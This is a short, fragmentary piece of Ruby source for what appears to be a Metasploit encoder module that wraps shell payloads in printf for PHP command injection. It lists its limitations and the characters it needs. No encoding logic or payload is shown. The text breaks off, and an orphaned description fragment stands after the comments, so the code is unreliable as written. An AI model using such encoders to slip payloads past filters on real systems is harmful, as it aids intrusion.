class MetasploitModule < Msf::Encoder

  # Has some issues, but overall it's pretty good
  # - printf(1) may not be available
  # - requires: "\x7c\x73\x68\x5c\x78"
  # - doesn't work on windows
  # - min size increase: 4x + 9
  # - max size increase: 4x + 14
  # However, because it intentionally leaves backslashes unescaped (assuming
  # that PHP's magic_quotes_gpc will take care of escaping them) it is
  # unsuitable for most exploits.

        if needed symbols are blacklisted. Some characters are intentionally
        left unescaped since it is assumed that PHP with magic_quotes_gpc
        enabled will escape them during request handling.
